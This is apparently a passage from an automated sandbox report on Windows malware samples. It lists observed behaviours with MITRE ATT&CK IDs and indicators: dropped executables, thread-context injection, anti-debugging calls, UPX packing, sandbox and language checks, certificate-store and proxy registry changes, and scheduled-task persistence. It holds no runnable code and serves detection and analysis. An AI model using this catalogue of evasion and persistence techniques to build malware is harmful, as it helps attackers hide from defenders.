powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2188	powercfg.exe
6548	powercfg.exe
6220	powercfg.exe
6460	powercfg.exe
1648	powercfg.exe
7988	powercfg.exe
1920	powercfg.exe
1172	powercfg.exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\517E7112D0F8DA082ED4A5760801994D_A8C78A65627D57AA1C97268C2A0931E0	svchostmanager.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\517E7112D0F8DA082ED4A5760801994D_A8C78A65627D57AA1C97268C2A0931E0	svchostmanager.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\26C212D9399727259664BDFCA073966E_B7ED31D77D311A56FDCB56A0083B3E0B	svchostmanager.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\26C212D9399727259664BDFCA073966E_B7ED31D77D311A56FDCB56A0083B3E0B	svchostmanager.exe
File opened for modification	C:\Windows\SysWOW64\krrMdbwCVzFu.exe	lTw+fYlRJFmE.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771	svchostmanager.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771	svchostmanager.exe
File created	C:\Windows\SysWOW64\krrMdbwCVzFu.exe	lTw+fYlRJFmE.exe
File opened for modification	C:\Windows\system32\MRT.exe	1QFyK6WSuo.exe
File opened for modification	C:\Windows\system32\MRT.exe	updater.exe

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
6052	tasklist.exe
4952	tasklist.exe
9832	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
2848	random.exe
908	random.exe
5312	random.exe
4036	powershell.exe
7596	1QFyK6WSuo.exe
1896	updater.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 4900 set thread context of 4496	4900	M94scZj.exe	233
PID 6124 set thread context of 2840	6124	hjkgvs.exe	493
PID 7596 set thread context of 6096	7596	1QFyK6WSuo.exe	598
PID 1896 set thread context of 7996	1896	updater.exe	636
PID 1896 set thread context of 8128	1896	updater.exe	637
PID 1896 set thread context of 2220	1896	updater.exe	640

UPX packed file 25 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral14/files/0x0006000000000838-3228.dat	upx
behavioral14/memory/1064-3534-0x0000000140000000-0x00000001400C3000-memory.dmp	upx
behavioral14/memory/1064-6865-0x0000000140000000-0x00000001400C3000-memory.dmp	upx
behavioral14/files/0x000c00000000ce5b-6881.dat	upx
behavioral14/memory/3688-6889-0x00007FF72A090000-0x00007FF72A198000-memory.dmp	upx
behavioral14/memory/3688-6968-0x00007FF72A090000-0x00007FF72A198000-memory.dmp	upx
behavioral14/memory/3688-8759-0x00007FF72A090000-0x00007FF72A198000-memory.dmp	upx
behavioral14/files/0x001d00000002afb2-17002.dat	upx
behavioral14/memory/12168-17109-0x00007FF7EA670000-0x00007FF7EA777000-memory.dmp	upx
behavioral14/files/0x000800000002a8e2-17262.dat	upx
behavioral14/memory/4284-17325-0x00007FF749C20000-0x00007FF749D28000-memory.dmp	upx
behavioral14/memory/12168-17535-0x00007FF7EA670000-0x00007FF7EA777000-memory.dmp	upx
behavioral14/memory/4284-17860-0x00007FF749C20000-0x00007FF749D28000-memory.dmp	upx
behavioral14/files/0x000800000000d3d4-19557.dat	upx
behavioral14/memory/9856-19583-0x00007FF6EEB80000-0x00007FF6EEC85000-memory.dmp	upx
behavioral14/memory/9856-19839-0x00007FF6EEB80000-0x00007FF6EEC85000-memory.dmp	upx
behavioral14/files/0x001700000002b5dd-20462.dat	upx
behavioral14/memory/6648-20514-0x00007FF7C88F0000-0x00007FF7C89F8000-memory.dmp	upx
behavioral14/memory/12036-20659-0x0000000140000000-0x00000001400C3000-memory.dmp	upx
behavioral14/memory/6648-20759-0x00007FF7C88F0000-0x00007FF7C89F8000-memory.dmp	upx
behavioral14/memory/11396-20889-0x00007FF798230000-0x00007FF798338000-memory.dmp	upx
behavioral14/memory/12036-20914-0x0000000140000000-0x00000001400C3000-memory.dmp	upx
behavioral14/memory/11396-21081-0x00007FF798230000-0x00007FF798338000-memory.dmp	upx
behavioral14/files/0x001d00000002b5d9-21280.dat	upx
behavioral14/files/0x001800000002b5ee-21573.dat	upx

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\MetaPixelHelperPro\Uninstall.exe	3AqaBYF.exe

Drops file in Windows directory 26 IoCs

description	ioc	Process
File created	C:\Windows\svchosthelper.exe	random.exe
File opened for modification	C:\Windows\Installer\MSID368.tmp	msiexec.exe
File created	C:\Windows\Installer\e58d30e.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF2F39FE5EC1181BD3.TMP	msiexec.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\svchosthelper.exe	random.exe
File opened for modification	C:\Windows\Installer\e58d30a.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File created	C:\Windows\Installer\e58d30a.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF376C7B67534BA44B.TMP	msiexec.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File created	C:\Windows\svchosthelper.exe	random.exe
File created	C:\Windows\systemhelper.exe	random.exe
File opened for modification	C:\Windows\systemhelper.exe	random.exe
File created	C:\Windows\SystemTemp\~DFC6B8C670DE615ADE.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{BBB21AFB-7D1B-43F4-8C81-75A5EE63F7A4}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF18094914212CBCB7.TMP	msiexec.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\systemhelper.exe	random.exe
File opened for modification	C:\Windows\svchosthelper.exe	random.exe
File opened for modification	C:\Windows\systemhelper.exe	random.exe

Launches sc.exe 46 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1932	sc.exe
5644	sc.exe
5164	sc.exe
5496	sc.exe
944	sc.exe
4680	sc.exe
1240	sc.exe
4472	sc.exe
5504	sc.exe
3416	sc.exe
1272	sc.exe
6616	sc.exe
7064	sc.exe
4768	sc.exe
5156	sc.exe
6376	sc.exe
5732	sc.exe
4856	sc.exe
1780	sc.exe
4268	sc.exe
6912	sc.exe
6488	sc.exe
6496	sc.exe
4780	sc.exe
3536	sc.exe
5928	sc.exe
1636	sc.exe
5132	sc.exe
5252	sc.exe
5656	sc.exe
5532	sc.exe
5416	sc.exe
3520	sc.exe
3076	sc.exe
4964	sc.exe
2984	sc.exe
952	sc.exe
5500	sc.exe
764	sc.exe
4992	sc.exe
3396	sc.exe
5888	sc.exe
1568	sc.exe
6560	sc.exe
6772	sc.exe
6816	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 64 IoCs

pid	pid_target	Process	procid_target
3832	456	WerFault.exe
6084	4468	WerFault.exe	121
5064	1092	WerFault.exe	268
4080	6028	WerFault.exe	288
3084	532	WerFault.exe	312
1944	3524	WerFault.exe	332
3132	4964	WerFault.exe	337
2580	3988	WerFault.exe	351
5484	4452	WerFault.exe	363
2064	1976	WerFault.exe	367
3240	1304	WerFault.exe	370
3980	5032	WerFault.exe	373
3976	5928	WerFault.exe	376
1484	968	WerFault.exe	379
6116	5484	WerFault.exe	382
5552	4936	WerFault.exe	385
3512	3116	WerFault.exe	398
2128	2932	WerFault.exe	413
3972	228	WerFault.exe	424
5012	1592	WerFault.exe	431
5904	588	WerFault.exe	444
2684	4844	WerFault.exe	455
3200	4696	WerFault.exe	470
5468	1704	WerFault.exe	483
5340	2616	WerFault.exe	486
4012	5956	WerFault.exe	490
5468	5656	WerFault.exe	494
7164	7072	WerFault.exe	510
7352	3448	WerFault.exe	519
7908	5116	WerFault.exe	531
6152	6300	WerFault.exe	536
7572	7348	WerFault.exe	539
7952	7796	WerFault.exe	542
6624	3732	WerFault.exe	545
7760	7632	WerFault.exe	551
8	6764	WerFault.exe	554
6748	6176	WerFault.exe	557
6768	6584	WerFault.exe	572
1100	4080	WerFault.exe	620
3444	7968	WerFault.exe	654
3956	7216	WerFault.exe	657
6824	5068	WerFault.exe	660
6152	4432	WerFault.exe	665
4092	4992	WerFault.exe	668
7380	1084	WerFault.exe	671
7572	8052	WerFault.exe	674
1836	6788	WerFault.exe	677
3248	240	WerFault.exe	680
6012	5696	WerFault.exe	683
5428	6100	WerFault.exe	686
5276	7720	WerFault.exe	690
7940	2580	WerFault.exe	693
6772	6324	WerFault.exe	696
6684	8000	WerFault.exe	699
2536	5108	WerFault.exe	704
5864	7456	WerFault.exe	710
6500	5276	WerFault.exe	718
4896	8100	WerFault.exe	728
4416	6436	WerFault.exe	732
4292	4800	WerFault.exe	737
6964	4800	WerFault.exe	737
3444	4092	WerFault.exe	747
4748	4092	WerFault.exe	747
4680	6728	WerFault.exe	755

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Server.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MxN2nsQfv3fX.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XiMgWxSWiNgW.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hJI8LdTnvv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sdvCMLskdPNm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3AqaBYF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mode.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tG+oSg7Qppmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchostam.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cTV7tfa91qPB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5UxwoR0uaT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	+ubORYNrilYb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iBqgwj7iaqju.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MxN2nsQfv3fX.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2444	PING.EXE

System Time Discovery 1 TTPs 11 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6340	chrome.exe
3876	chrome.exe
6420	msedge.exe
3832	chrome.exe
4364	msedge.exe
8224	msedge.exe
5732	chrome.exe
3252	msedge.exe
6800	msedge.exe
10416	chrome.exe
8312	chrome.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	c36f0a3f9c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	c36f0a3f9c.exe

Enumerates system info in registry 2 TTPs 18 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

GoLang User-Agent 5 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	1208	Go-http-client/1.1
HTTP User-Agent header	1211	Go-http-client/1.1
HTTP User-Agent header	1286	Go-http-client/1.1
HTTP User-Agent header	1288	Go-http-client/1.1
HTTP User-Agent header	1290	Go-http-client/1.1

Kills process with taskkill 12 IoCs

defense_evasion

pid	Process
5676	taskkill.exe
6348	taskkill.exe
5248	taskkill.exe
4360	taskkill.exe
1784	taskkill.exe
3872	taskkill.exe
3848	taskkill.exe
10852	taskkill.exe
3756	taskkill.exe
3132	taskkill.exe
2388	taskkill.exe
1684	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	svchostmanager.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchostmanager.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchostmanager.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	svchostmanager.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	svchostmanager.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	svchostmanager.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\P3P	svchostmanager.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	svchostmanager.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\Local Settings	svchostam.exe
Key created	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
4772	reg.exe
1320	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2444	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 8 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2984	schtasks.exe
